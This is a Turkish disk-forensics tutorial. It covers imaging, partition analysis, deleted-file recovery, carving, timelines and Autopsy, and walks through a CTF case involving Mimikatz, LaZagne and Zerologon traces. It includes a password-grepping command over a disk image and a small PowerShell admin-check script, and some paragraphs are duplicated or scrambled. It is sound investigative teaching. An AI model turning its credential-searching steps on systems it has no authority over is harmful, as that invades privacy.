Kali Linux’un bir avantajından bahsetmek gerek. Ubuntu gibi dağıtımlar bağlanan depolama aygıtlarını otomatik mount eder, Kali ise varsayılan olarak bunu yapmaz. Ubuntu’da adli çalışma yapacaksanız udisks2 servisini kapatmayı unutmayın:</p><pre>sudo systemctl stop udisks2<br>sudo systemctl disable udisks2</pre><h4><strong>İmaj Alma: Fiziksel mi, Mantıksal mı?</strong></h4><p>İki temel imaj alma yöntemi var. Fiziksel imaj (bit-stream copy) verinin sektör bazlı tam kopyasıdır; silinmiş dosyaları, boş alanları, slack space’i ve boot sektörünü içerdiği için en nitelikli delil olarak kabul edilir. Kötü tarafı yavaş olması ve büyük dosya üretmesi; 1 TB’lık bir disk size 1 TB’lık bir imaj dosyası verir. Mantıksal imaj ise sadece belirli aktif dosyaları kopyalar. Hızlıdır, dosya küçüktür, ama silinmiş veri kurtarımı ve dosya sistemi analizi yapamazsınız. Zamanın kısıtlı olduğu ya da yalnızca birkaç dosyaya ihtiyaç duyulan durumlarda tercih edilir. İmaj formatı da analizin ne kadar derine inebileceğini belirler. Raw (dd) formatı sıkıştırma uygulamayan ham bir formattır; taşınabilir, hemen her araçla açılır, ama boyutu büyüktür ve meta veri taşımaz. E01 (EnCase Evidence File) adli bilişimde fiilî standart olmuş bir formattır; sıkıştırmayı, vaka notlarını ve hash doğrulamasını tek pakette tuttuğu için özellikle kurumsal ve hukuki süreçlerde tercih edilir. SMART, Linux sistemlere özgü, ASR Data’nın geliştirdiği bir formattır ve bugün daha çok eski vaka dosyalarında karşınıza çıkar. AFF (Advanced Forensic Format) ise açık kaynaklı bir formattır; AFF4 versiyonu daha modern bir alternatif sunsa da pratikte E01&#39;in gerisinde kaldı.</p><h4><strong>dcfldd ile Sektör Bazlı Kopyalama</strong></h4><p>Klasik dd aracı disk kopyalamak için yeterlidir, ama adli bilişim için geliştirilmiş dcfldd daha kullanışlı. İki noktada dd’den ayrılır: imaj alırken eş zamanlı hash hesaplar, ve işlem sürerken ilerleme durumunu gösterir. dd hiçbir geri bildirim vermez; büyük bir diskte saatlerce terminale bakıp “devam mı ediyor, takıldı mı?” diye düşünebilirsiniz. dcfldd bu belirsizliği ortadan kaldırıyor. İşe önce diskleri listeleyip hedefi belirleyerek başlanır. Yanlış diski seçmek geri dönüşü olmayan bir hata olduğundan bu adımda acele etmemek lazım:dcfldd ile Sektör Bazlı Kopyalama Klasik dd aracı disk kopyalamak için yeterlidir, ama adli bilişim için geliştirilmiş dcfldd daha kullanışlı. İki noktada dd’den ayrılır: imaj alırken eş zamanlı hash hesaplar, ve işlem sürerken ilerleme durumunu gösterir. dd hiçbir geri bildirim vermez; büyük bir diskte saatlerce terminale bakıp “devam mı ediyor, takıldı mı?” diye düşünebilirsiniz. dcfldd bu belirsizliği ortadan kaldırıyor. İşe önce diskleri listeleyip hedefi belirleyerek başlanır. Yanlış diski seçmek geri dönüşü olmayan bir hata olduğundan bu adımda acele etmemek lazım:</p><pre>lsblk-o NAME,SIZE,TYPE,MODEL,SERIAL<br># ya da daha kapsamlı için:<br>sudo fdisk-l</pre><p>Hedef belli olduktan sonra imaj alımına geçilir:</p><pre>sudo dcfldd if=/dev/sdb of=/home/user/Desktop/image.dd \<br>hash=sha256 \<br>log=acquisition.log \<br>bs=4M \<br>conv=noerror,sync</pre><p>Parametreler şöyle çalışıyor: if= kaynak diski, of= çıktı dosyasını belirtir. hash=sha256 imaj alınırken eş zamanlı SHA-256 hesaplar, log= tüm süreci kayda alır. bs=4M 4 MB’lık blok boyutuyla işlemi hızlandırır. conv=noerror,sync ise okuma hatası çıktığında durmadan devam eder ve hatalı bloğu sıfırlarla doldurur; hasarlı disklerde bu kısım işe yarıyor. İşlem bittiğinde terminal yazılan blok miktarını ve kayıt sayısını gösterir, ki bu çıktı veri bütünlüğünün ilk kontrolüdür. İmaj alındıktan sonra hash doğrulaması yapılır:</p><pre>sha256sum /home/user/Desktop/image.dd</pre><h4><strong>Partisyon Analizi</strong></h4><p>İmajı aldıktan sonra, asıl analize geçmeden önce diskin iç yapısına bakmak gerekir. İki farklı partition tablosu şemasıyla karşılaşabilirsiniz: eski sistemlerde MBR (Master Boot Record), modern sistemlerde GPT (GUID Partition Table). GPT, 2 TB üzeri diskler için zorunlu olduğundan günümüz incelemelerinde giderek daha sık görülüyor. The Sleuth Kit’in mmls komutu bu yapıyı ortaya çıkarır:</p><pre>mmls image.dd</pre><p>Tipik bir çıktı şuna benzer:</p><pre>DOS Partition Table<br>Offset Sector: 0<br>Units are in 512-byte sectors<br>Slot      <br>000:  Meta      <br>Start        <br>0000000000   <br>End          <br>0000000000   <br>Length       <br>Description<br>0000000001   Primary Table (#0)<br>001:  -------   0000000000   0000002047   0000002048   Unallocated<br>002:  000:000   0000002048   0001968127   0001966080   NTFS / exFAT (0x07)</pre><p>Buradan şunu öğreniyoruz: NTFS partisyon 2048. sektörden başlıyor. Bu offset değeri sonraki bütün analiz komutlarında kullanılacak. Byte cinsinden karşılığını bulmak için sektör numarasını sektör boyutuyla çarpmak yeterli: 2048 × 512 = 1.048.576 byte. Ardından fsstat komutu dosya sistemi hakkında daha fazla bilgi verir:</p><pre>fsstat-o 2048 image.dd</pre><p>Bu komutun çıktısında dosya sisteminin son yazma zamanı, bağlama noktası ve diskin temiz unmount edilip edilmediği gibi bilgiler yer alır. Diskin temiz unmount edilmemiş olması, sistemin o sırada beklenmedik biçimde kapandığını gösterir; bir olay soruşturmasında bu küçük ayrıntı bile bir ipucu olabilir.</p><h4><strong>Dosya Silme Mekanizması</strong></h4><p>Bir dosyayı “silmek” onu fiziksel olarak yok etmez. NTFS gibi indeksli dosya sistemlerinde her dosya iki parçadan oluşur: MFT (Master File Table) içindeki bir dizin girdisi, ve verinin fiziksel olarak yazıldığı disk sektörleri. Windows’ta “Sil” komutu dosyayı yalnızca Geri Dönüşüm Kutusu’na taşır. “Kalıcı sil” ise MFT kaydını geçersiz işaretler; verinin durduğu sektörler yerinde kalır ve üzerine yeni bir şey yazılmadığı sürece kurtarılabilir. Bu alana slack space deniyor, ve adli analizde silinmiş veriyi geri getirebildiğimiz temel kaynak burası. The Sleuth Kit’in fls komutu bu durumu açıkça gösterir:</p><p>The Sleuth Kit’in fls komutu bu durumu açıkça gösterir:</p><pre>fls-o 2048 image.dd</pre><p>Çıktıda r/r ile başlayan satırlar mevcut dosyaları, -\r * ile başlayanlar ise silinmiş ama hâlâ kurtarılabilir dosyaları gösterir:</p><pre>r/r 64-128-2:    <br>rapor.pdf-/r * 69-128-2:  gizli_yazisma.png<br>-/d * 76-144-2:  eski_belgeler</pre><p>Bir dosyayı dışarı çıkarmak için icat kullanılır; komuttaki sayı, fls çıktısında dosyanın yanında görünen inode numarasıdır:</p><pre>icat-o 2048 image.dd 69 &gt; kurtarilan_dosya.png</pre><p>Mevcut ve kurtarılabilir bütün dosyaları tek seferde almak isterseniz tsk_recover işe yarar. -e parametresi hem tahsis edilmiş hem de tahsis edilmemiş alandaki dosyaları çıkarır:</p><pre>tsk_recover-o 2048 image.dd-e ./recovered/</pre><h4><strong>Dosya İmzaları ve File Carving</strong></h4><p>MFT kaydının tamamen silindiği durumlarda fls bile dosyayı göremez. İşte burada file carving devreye girer. Yöntemin dayandığı fikir şu: her dosya türünün başında sabit bir byte dizisi bulunur, buna magic number ya da dosya imzası deniyor. Carving aracı diskteki ham veriyi baştan sona tarar, bu imzaları bulur ve aralarında kalan veriyi dosya olarak dışarı çıkarır. Sık karşılaşılan birkaç dosya imzası:</p><pre>Dosya Türü        Başlangıç Byte&#39;ları (Hex)<br>JPEG              FF D8 FF       <br>PNG               89 50 4E 47<br>PDF               25 50 44 46 2D (%PDF-)<br>ZIP / Office      50 4B 03 04<br>EXE               4D 5A (MZ)<br><br><br><br><br></pre><p>İmzaların uzantıdan bağımsız olması adli analizde çok işe yarar, çünkü bir dosyanın gerçekte ne olduğunu uzantısı değil, ilk birkaç byte’ı belirler. Sık görülen bir gizleme yöntemi de zaten budur: dosyanın uzantısını değiştirmek. Diyelim Electronic.pdf adlı bir dosyanın hex kodu 50 4B 03 04 ile başlıyor; bu dosya bir PDF değil, ZIP arşivi ya da Office belgesidir. Autopsy’nin Extension Mismatch Detected modülü tam olarak bu tür tutarsızlıkları yakalar; dosyanın gerçek türünü uzantısıyla karşılaştırır ve uymayanları işaretler. Manuel kontrol etmek isterseniz hex görüntüleyicide dosyanın ilk byte’larına bakmak yeterli. Komut satırında benzer kontroller şöyle yapılır:</p><pre># Bir dizindeki tüm dosyaların gerçek türünü tespit et<br>file *.jpg<br># Disk imajı üzerinde okunabilir metin arama<br>strings image.dd | grep-i &quot;password&quot;</pre><p>strings komutu özellikle ilk keşif aşamasında işe yarar; diskteki ham binary verinin içinden okunabilir karakter dizilerini çekip çıkarır. Parola, e-posta adresi, URL, hata mesajı gibi izler bu yolla ortaya çıkabilir. File carving için en yaygın açık kaynaklı araçlardan biri Scalpel’dir. Önce /etc/scalpel/scalpel.conf dosyasında aramak istediğiniz dosya türlerini aktif edersiniz, ardından aracı çalıştırırsınız:</p><pre>mkdir recovered_files<br>sudo scalpel image.dd-o recovered_files/</pre><p>Scalpel diskin tamamını tarar ve bulduğu dosyaları türlerine göre ayrı klasörlere yerleştirir. Kurtarılan dosyalar orijinal adlarını kaybeder ama içerikleri bozulmaz; silinmiş bir fotoğrafı ya da belgeyi yeniden açabilmek için bu kadarı yeterli.</p><h4><strong>Zaman Çizelgesi</strong></h4><p>Bir soruşturmada genellikle “ne oldu” sorusundan önce “ne zaman oldu” sorusunu yanıtlamak gerekir. Dosya sistemi bunun için üç temel zaman damgası tutar, bunlara MAC zamanları deniyor. M (Modified) dosyanın içeriğinin son değiştirilme zamanını, A (Accessed) son erişim zamanını, C 6 (Changed) ise dosya meta verisinin (izinler, sahip, boyut) son değişiklik zamanını gösterir. ext4 gibi modern Linux dosya sistemleri bir de crtime adıyla oluşturulma zamanı tutar, ama ext2 ve ext3 bunu desteklemez. Windows NTFS ise $STANDARD_INFORMATION ve $FILE_NAME adıyla iki ayrı zaman damgası seti barındırır; bu ikisi arasındaki tutarsızlık, zaman damgası manipülasyonunu tespit etmekte kullanılır. log2timeline/plaso aracı bu zaman damgalarını diskteki bütün kaynaklardan toplar (dosya sistemi, kayıt defteri, olay günlükleri, tarayıcı geçmişi) ve hepsini tek bir kapsamlı zaman çizelgesinde birleştirir:</p><pre># Super timeline oluştur<br>log2timeline.py timeline.plaso /mnt/image/<br># CSV&#39;ye dönüştür<br>psort.py-o l2tcsv timeline.plaso &gt; super_timeline.csv</pre><p>Çıkan zaman çizelgesini Elasticsearch ve Kibana ile görselleştirebilirsiniz. Burada bir noktaya dikkat etmek gerekiyor: işletim sisteminin rutin aktivitelerini (servis güncellemeleri, indeksleme işlemleri) çizelgeden filtrelemek, soruşturmayla ilgili olayları belirgin hale getirir. Ham bir super timeline yüz binlerce satır olabilir, ve içinden anlamlı olanı ayıklamak filtreleme olmadan epey zordur.</p><h4><strong>Autopsy ile Delil Çıkarımı</strong></h4><p>İmaj oluşturulduktan sonra verinin anlamlandırılması için kapsamlı bir analiz platformuna ihtiyaç duyulur, ve burada Autopsy devreye girer. Autopsy aslında The Sleuth Kit’in grafiksel arayüzüdür. Yeni bir vaka açılır, .dd ya da .E01 uzantılı imaj dosyası “Data Source” olarak eklenir, ardından Ingest Modules denen otomatik analiz modülleri çalışmaya başlar. Recent Activity modülü web geçmişini, çerezleri ve son açılan belgeleri çıkarır. Hash Lookup modülü dosya hash’lerini bilinen zararlı ya da temiz dosya veritabanlarıyla karşılaştırır. File Type Identification modülü magic number’a göre dosya türünü belirler ve uzantı uyuşmazlıklarını işaretler. PhotoRec Carver tahsis edilmemiş alandan dosya kurtarır, Keyword Search ise disk genelinde anahtar kelime araması yapar. Autopsy’nin asıl değeri, onlarca farklı analizi paralel çalıştırması ve sonuçları okunabilir bir arayüzde önünüze sermesidir.</p><h4><strong>CTF Senaryosu: Disk Üzerinde İz Sürme</strong></h4><p>Aşağıda gerçek bir senaryo üzerinden Autopsy’nin neler yapabildiğine bakacağız.</p><p><strong>Hash Değeri: Delil Bütünlüğünün Kanıtı</strong></p><p>Bir imajın hash değerini doğrulamak istiyorsanız Autopsy’de ilgili diske gelip File Metadata alanını açmanız yeterli. Hash değeri burada doğrudan karşınıza çıkar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*YxxcFMC9NQIX_JC_U0ETyw.png" /></figure><p>İmaj dosyasının MD5 ve SHA1 değerleri sağ alt panelde duruyor. SHA-256 alanında “Not calculated” yazıyorsa o değer hesaplanmamış demektir; gerekirse sha256sum ile manuel hesaplayabilirsiniz. Belirli bir dosyanın hash’ine ulaşmak içinse o dosyanın üzerine gelip yine File Metadata bölümünü açmak yeterli.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*36MpGU6yks4CWT9qLKa7Cw.png" /></figure><p>Bu örnekte msg_xx.txt dosyalarının her birinin oluşturulma tarihi, sahibi ve hash değeri ayrı ayrı listelenmiş. Bir dosyanın bütünlüğü tartışmaya açıldığında bu değerler doğrudan delil olarak sunulabilir.</p><p><strong>Cihaz Kimliği: Account Name ve Kullanıcı Bilgileri</strong></p><p>Bazı durumlarda cihazın hesap adını bilmek analizi hızlandırır. Bunun için Autopsy’nin Operating System Information modülüne gitmek yeterli. Bu modül Windows Registry’den çektiği bilgileri düzenli biçimde gösterir: işletim sistemi versiyonu, bilgisayar adı, zaman dilimi, son kapanma zamanı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZCK2ef3bUWyRGB1MRfs82Q.png" /></figure><p>Görseldeki örnekte cihaz adının DESKTOP-0R59DJ33, işletim sisteminin Windows 10 Home, mimarisinin AMD64 olduğu ve son aktivite tarihinin 2021–02–07 olduğu görülüyor. Tek bir ekran bile soruşturmanın hangi sistem üzerinde yürütüldüğünü belgeliyor. Sistemde tanımlı kullanıcı hesaplarını görmek için Operating System User Accounts alanı kullanılır. Burada sadece aktif hesaplar değil, silinmiş ya da devre dışı bırakılmış hesapların izleri de görünebilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*_tVUEUBw9D0HLD6k3CjAWQ.png" /></figure><p>SAM (Security Account Manager) dosyasından çekilen bu listede her kullanıcının benzersiz SID (Security Identifier) numarası ve kullanıcı adı yer alıyor. SID’in son kısmı (mesela -1005, -1006) hesabın oluşturulma sırasını verir; düşük numaralı hesaplar daha eskidir. Sisteme en son kimin giriş yaptığı da yine bu modül üzerinden bulunabilir.</p><p><strong>IP, MAC ve Ağ Kartı: Konfigürasyon Dosyaları</strong></p><p>Bir sistemin ağ kimliğini bulmak için işletim sistemini açmaya gerek yok. Sisteme yüklü ağ izleme araçları bu bilgileri zaten kendi konfigürasyon dosyalarına yazmış oluyor. Autopsy üzerinde Program Files dizinine baktığınızda ağ yönetimi ya da izleme kategorisindeki programların klasörlerinde .ini veya girdiğinizde .conf uzantılı dosyalar dikkat çeker. İçlerine lan ip gibi bir alanda IP adresi, aynı satırda da değer olarak MAC adresi karşınıza çıkar. Alternatif olarak Keyword Search’e 0800 ile başlayan ip yazıp disk genelinde hızlı bir arama da yapabilirsiniz. Ama konfigürasyon dosyası üzerinden ilerlemek daha bağlamlı bir analiz sunar; değerin hangi uygulama tarafından, hangi amaçla kaydedildiği de görünür hale gelir. Sistemde hangi ağ izleme aracının kurulu olduğunu öğrenmenin en hızlı yolu ise Results altındaki Installed Programs alanıdır. Burada bir noktayı akılda tutmak gerek: program adı ile versiyon bilgisi farklı şeylerdir. Belirli versiyonların bilinen güvenlik açıkları olabileceğinden, versiyon bilgisi risk değerlendirmesinde belirleyici olabiliyor.</p><p><strong>Konum Tespiti: Tarayıcı Geçmişi</strong></p><p>Bir kullanıcının nerede olduğunu anlamak için her zaman GPS verisine ihtiyaç olmaz; tarayıcı geçmişi çoğu zaman yeterli oluyor. Results altındaki Web Bookmarks veya Web History alanına gittiğinizde kullanıcının ziyaret ettiği adresler sıralanır. Harita servislerine yapılan erişimler burada açıkça görünür. Bir kaydın Title ya da URL alanındaki koordinatı kopyalayıp harici bir harita servisinde doğruladığınızda konuma ulaşırsınız. Bu yöntem özellikle mobil cihaz yedeklemelerinin disk imajlarında çok iş görür. Tarayıcı geçmişi ayrıca Firefox’ta places.sqlite, Chrome’da History adlı SQLite veritabanlarında saklanır. Bu dosyaları Autopsy otomatik işler, ama isterseniz sqlitebrowser ile manuel olarak da açabilirsiniz. Zaman damgaları Unix epoch formatında tutulduğu için insan okunabilir tarihe çevrilmesi gerekir; Autopsy bu dönüşümü kendisi yapıyor.</p><p><strong>PowerShell Geçmişi</strong></p><p>Bir dosyada değişiklik yapıldığında sistem bunu kaydeder, ama asıl soru şu: bunu kim yaptı? Windows sistemlerde her kullanıcının PowerShell geçmişi ayrı tutulur, ve şu yolda saklanır:</p><pre>AppData → Roaming → Microsoft → Windows → PowerShell → ConsoleHost_history.txt</pre><p>Autopsy üzerinde her kullanıcı hesabının bu dizinini tek tek açıp geçmiş dosyasını incelediğinizde tablo netleşir. Sadece ls ile dosya listeleyen bir geçmiş pasif bir kullanıcıya işaret ederken; cd Desktop, dosya oluşturma ya da içerik yazma komutları içeren bir geçmiş, değişikliği yapan kişiyi açık eder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y5TdEB1aQ07TKru147jJuA.png" /></figure><p>Sağ alttaki içerik bu durumu somutlaştırıyor: kullanıcı orijinal içeriğini Get-Content ile okumuş, shreya.txt dosyasının Add-Content flag{HarleyQuinnForQueen} değerini eklemiş, en sonunda da ile Set-Content komutuyla içeriği baştan aşağı flag{i_changed_it} olarak değiştirmiş. Bir dosyanın “bozulduğu” iddiasının ardındaki gerçek senaryo, tek bir PowerShell geçmişinde adım adım belgelenmiş halde duruyor. Bir not daha: birden fazla kullanıcı hesabının PowerShell geçmişini karşılaştırdığınızda aynı komutu ya da aynı dosya yolunu bağımsız hesaplarda görmeniz, o hesapların aynı kişi tarafından kullanıldığına dair bir gösterge olabilir.</p><p><strong>Yetki Yükseltme</strong></p><p>Yetki yükseltme saldırılarının ardından saldırgan zaman zaman sisteme eriştiğini belgeleyen bir iz bırakır, ve bu iz genellikle kullanıcıların masaüstü dizinlerinde karşımıza çıkar. Users dizini altındaki her hesabın Desktop klasörüne baktığınızda .txt metin dosyaları ya da .ps1 PowerShell betikleri dikkat çeker. İçerik açıldığında saldırganın bıraktığı mesaj ya da flag değeri doğrudan okunur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*aJdQjQDC7uzuc8fRIenYOA.png" /></figure><p>Görseldeki betik epey tipik bir örnek. Önce WindowsIdentity::GetCurrent() ile mevcut kullanıcının yönetici grubunda olup olmadığı kontrol ediliyor; S-1–5–32–544 SID’i Administrators grubunu temsil eder. Yönetici yetkisi varsa hacked.txt adlı bir dosya oluşturuluyor ve içine Flag{I-hacked-you} yazılıyor. Bu tür betikler genellikle şu yapıya sahiptir:</p><pre>if(([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match<br>&quot;S-1-5-32-544&quot;) {<br># Yönetici grubundaysa çalış<br>New-Item &quot;C:\Users\kullanici\Desktop\hacked.txt&quot;<br>Add-Content C:\Users\kullanici\Desktop\hacked.txt &#39;Flag{yetkimdeyim}&#39;<br>}</pre><p>Bu bulgu yalnızca saldırının gerçekleştiğini değil, saldırganın hangi kullanıcı bağlamında hareket ettiğini de gösterir.</p><p><strong>Windows Defender Tehdit Geçmişi</strong></p><p>Sistemde şifre ele geçirme amaçlı araçlar varsa antivirüs yazılımı bunları büyük ihtimalle çoktan tespit etmiştir; bu tespitlerin nerede saklandığını bilmek işe yarar. Autopsy’de şu yolu izlediğinizde Windows Defender’ın tehdit geçmişine ulaşırsınız:</p><pre>ProgramData → Microsoft → Windows Defender → Scans → History → Service → <br>DetectionHistory</pre><p>Bu klasördeki her kayıt ayrı bir tehdit tespitini temsil eder. Kayıtları açtığınızda tehdit adı, dosya yolu ve tespit tarihi görünür.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3aX1aDukb5QyQ3DfBMyp0Q.png" /></figure><p>Bu örnekte alt panelde Defender’ın yakaladığı zararlı yazılım görünüyor: HackTool:Win32/Mimikatz.D. Dosyanın tam yolu da C: \Users\H4S4N\Desktop\mimikatz_trunk\x64\mimikatz.exe. Tespit tarihi 2021–02–07. burada: Hangi kullanıcının masaüstüne, hangi tarihte, hangi aracın indirildiği; üç bilgi de tek kayıtta. Defender sadece Mimikatz’i değil, başka credential dumping araçlarını da yakalamış olabilir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TbopqcKfwko2aT0ompUnGg.png" /></figure><p>İkinci örnekte HackTool:Win32/LaZagne tespit edilmiş. LaZagne sistemde kayıtlı parolaları (tarayıcı, e-posta, Wi-Fi) toplayan bir araç. Dosya yolu yine açık: C: \Users\H4S4N\Downloads\lazagne.exe. Saldırganın araç cephaneliği bu kayıtlar üzerinden listelenebiliyor.</p><p><strong>YARA Dosyası</strong></p><p>.yar uzantılı dosyalar, zararlı yazılım araştırmacılarının oluşturduğu imza dosyalarıdır. Bir sistemde bu tür dosyaların bulunması, o sistemde tersine mühendislik ya da zararlı yazılım analizi yapıldığına işaret edebilir. Autopsy’de Keyword Search’e .yar yazıp disk genelinde arama başlattığınızda bu dosyaların konumu tespit edilir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*xMs0HXuf5RhAWQjjzM5s6g.png" /></figure><p>Bu örnekte .yar araması birden fazla kullanıcının AppData/Local dizininde sonuç vermiş. Hangisinin gerçek YARA imza dosyası olduğunu anlamak için sonuçlara tek tek bakmak gerekiyor. Bir dosyaya tıkladığınızda alt paneldeki metadata ekranı dosyanın sahibini, oluşturulma tarihini ve ne amaçla kullanıldığına dair açıklamayı gösterir; Owner alanındaki değer dosyanın kime ait olduğunu doğrudan söyler.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Ly0n974obELB7RqhHg47Q.png" /></figure><p>Bu örnekteki kiwi_passwords.yar dosyası dikkat çekici. Dosyanın tam yolu C: \Users\H4S4N\Desktop\mimikatz_trunk\kiwi_passwords.yar. Yani sadece Mimikatz değil, Mimikatz’in parola modülü olan kiwi’ye özel bir YARA imzası da masaüstünde duruyor. Bu, kullanıcının aracı yalnızca indirip çalıştırmadığını, üzerinde analitik bir çalışma yürüttüğünü düşündürüyor.</p><p><strong>Zerologon: Arşiv Dosyasında Saklanan Exploit</strong></p><p>Etki alanı denetleyicisine (domain controller) yönelik bir saldırı gerçekleşmişse, saldırıya ait araçların sistemde bir yerde saklanmış olma ihtimali yüksektir. Bu tür dosyalar çoğunlukla .zip ya da .rar gibi arşiv formatlarında, kullanıcı dizinlerinde bulunur. Keyword Search’e .zip ya da .rar yazdığınızda disk genelindeki bütün arşiv dosyaları listelenir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*Kdf9A-M5UC0j5PpGoHwSfw.png" /></figure><p>Kullanıcılara ait Downloads klasörleri bu noktada öncelikli inceleme alanıdır. Dosya adlarında geçen CVE numaraları ya da exploit isimleri hangi açığın kullanıldığını ele verir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L41QlUO_-EpTbtGRh2EaTQ.png" /></figure><p>Arama sonuçları arasında öne çıkıyor. Tam yolu 2.2.0 20200918 Zerologon encrypted.zip adlı bir dosya C:\Users\sandhya\Downloads\2.2.0 20200918 Zerologon encrypted.zip. Tek bir dosya adı bize dört şey birden söylüyor: kullanılan güvenlik açığı (CVE-2020–1472 Zerologon), aracın versiyonu, indirme tarihi ve dosyayı indiren kullanıcı. Sonuçlar arasında sandhya’nın Firefox profilindeki key4.db ve logins.json gibi parola depolama dosyalarının kısayolları da görünüyor; yani Zerologon dışında parola hırsızlığına yönelik başka aktiviteler de aynı kullanıcı bağlamında izlenebiliyor.</p><p><strong>İleri Konular</strong></p><p>Buraya kadar anlatılan bölümler bir disk imajından çıkarılabilecek temel bulguları kapsıyor, ve çoğu CTF senaryosu için bu kadarı yeterli. Ama gerçek dünya soruşturmaları sıklıkla daha derine inmeyi gerektirir. Aşağıdaki bölümler klasik analiz katmanlarının altında kalan, ama bir soruşturmayı çözebilen ayrıntıları ele alıyor: Windows Registry kayıtları, NTFS değişiklik günlüğü, Linux sistemlerin log yapısı ve karşı tarafın izleri kapatmaya çalıştığı durumlar.</p><h4><strong>Linux Sistemlerde Disk Analizi</strong></h4><p>Windows analizine odaklanmak görece kolay, çünkü araçlar ve arayüzler bu tarafta olgunlaşmış durumda. Ama gerçek dünyada Linux sunucularını analiz etmek de sık karşılaşılan bir durum, üstelik Linux’un log yapısı ve dosya sistemi düzeni Windows’tan epey farklı. Linux’ta kritik izlerin bulunduğu başlıca konumlar şöyle. Kimlik doğrulama ve yetki tarafında /var/log/auth.log su, sudo ve SSH giriş denemelerini, syslog genel sistem olaylarını, /etc/passwd kullanıcı hesaplarını, /var/log/ /etc/shadow ise şifre hash’lerini tutar. Kullanıcı aktivitesi tarafında en çok komut geçmişi dosyaları işe yarar:</p><pre>~/.bash_history         → bash komut geçmişi (her kullanıcı için ayrı)<br>~/.zsh_history          → zsh komut geçmişi (zsh kullanılıyorsa)  <br>~/.ssh/known_hosts      → bağlanılan SSH sunucuları  <br>~/.ssh/authorized_keys  → sisteme erişimi olan açık anahtarlar</pre><p>Sistem ve uygulama logları tarafında /var/log/apache2/access.log ve web sunucusu kayıtlarını barındırır; /tmp ve error.log /var/tmp ise saldırganların araçlarını indirip çalıştırdığı geçici dizinlerdir. /tmp dizinine her incelemede bakmak gerekir, çünkü sistem yeniden başladığında temizlense de analiz anında hâlâ içerik barındırabilir, ve saldırganların en sık başvurduğu sahnelenme noktası burasıdır. Komut geçmişi dosyalarını incelerken hangi dosyaya bakacağınız kullanıcının kabuğuna bağlı. Eski sistemlerde varsayılan kabuk bash olduğundan .bash_history öne çıkar; macOS Catalina sonrası ve birçok modern Linux kurulumunda varsayılan zsh olduğundan geçmiş .zsh_history dosyasında tutulur. Bir kullanıcının hangi kabuğu kullandığını /etc/passwd dosyasındaki satırının sonunda görebilirsiniz. Bu dosyalara temkinli yaklaşmak gerekir; bir saldırgan geçmiş dosyasını silebilir, ya da /dev/null’a yönlendirerek hiç yazılmamasını sağlayabilir. Dosyanın boş ya da beklenenden kısa olması başlı başına şüpheli bir bulgudur. Tersi de geçerli: geçmiş mimikatz_trunk.zip indirmek ya da su postgres gibi beklenmedik geçişler içeriyorsa, bunlar soruşturmanın odağına girer.</p><h4>Kritik Windows Lokasyonları</h4><p>Bazı dizinler adli analistler için her zaman öncelikli inceleme noktasıdır:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*Aud2X95XhENo1ZRyeyruDg.png" /></figure><p>Windows Event Log’larında 4672 event ID’si yönetici yetkisiyle giriş yapıldığını gösterir. 4720 hesap oluşturmayı, 4726 ise hesap silmeyi ifade eder. Bir soruşturmada bu üç ID’yi zaman sırasına göre incelemek, saldırganın izlediği yolu netleştirir.</p><h4>Windows Registry</h4><p>Registry, disk analizinde çoğu zaman hafife alınan, ama gerçekte olayların önemli bir kısmını saklayan bir yapıdır. Teknik olarak Windows’un konfigürasyon bilgilerini tuttuğu hiyerarşik bir veritabanıdır; adli açıdan bakıldığında ise bir konfigürasyon aracından çok bir aktivite günlüğü gibi davranır. Registry’nin beş ana dalı var, ama analist olarak en çok HKEY_LOCAL_MACHINE ve HKEY_CURRENT_USER dalları işinize yarar. HKLM sisteme ait bilgileri tutar: başlangıçta çalışan servisler, yüklü donanım sürücüleri, ağ konfigürasyonu ve kurulu yazılımlar. Disk imajı üzerinde bu dala karşılık gelen fiziksel dosyalar %SYSTEMROOT%\System32\config\ altındadır. HKCU ise oturum açmış kullanıcıya ait bilgileri tutar ve her kullanıcı için %USERPROFILE%\Ntuser.dat dosyasında saklanır. Registry’de incelenmesi gereken birkaç anahtar şöyle:</p><pre>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run<br>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce<br>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><p>Bu üç konum persistence (kalıcılık) mekanizmaları için birincil hedeftir. Zararlı yazılımlar sistem her açıldığında otomatik çalışmak için en sık bu anahtarlara başvurur, o yüzden buralarda beklenmedik bir girdi gördüğünüzde dosya yoluna mutlaka bakın. Kullanıcının son açtığı HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs bırakır; belgeler anahtarında tutulur ve kullanıcı silmediği sürece hangi dosyalarla çalışıldığını zaman damgasıyla birlikte gösterir. USB cihaz bağlantı geçmişi de Registry’de iz HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR anahtarı sisteme bağlanan her USB depolama cihazının marka, model ve seri numarasını tutar. Verinin dışarıya çıkarılıp çıkarılmadığını anlamak için bu kayıt değerli bir kaynaktır.</p><p><strong>NTFS Change Journal</strong></p><p>NTFS dosya sisteminde az bilinen ama oldukça değerli bir yapı daha var: USN Journal (Update Sequence Number Journal), yani değişiklik günlüğü. Bu günlük; sistemde bir dosya oluşturulduğunda, yeniden adlandırıldığında, silindiğinde, boyutu değiştiğinde ya da öznitelikleri güncellendiğinde otomatik olarak bir kayıt oluşturur. Her kayıtta etkilenen dosyanın adı, değişiklik türü ve \$Extend\$UsnJrnl:$J konumundaki zaman damgası bulunur. Sistem bu kayıtları gizli bir alternate data stream’de saklar. USN Journal’ın adli açıdan değeri şu: MFT kaydı silinmiş, fls ile görünmez hale gelmiş bir dosya bile 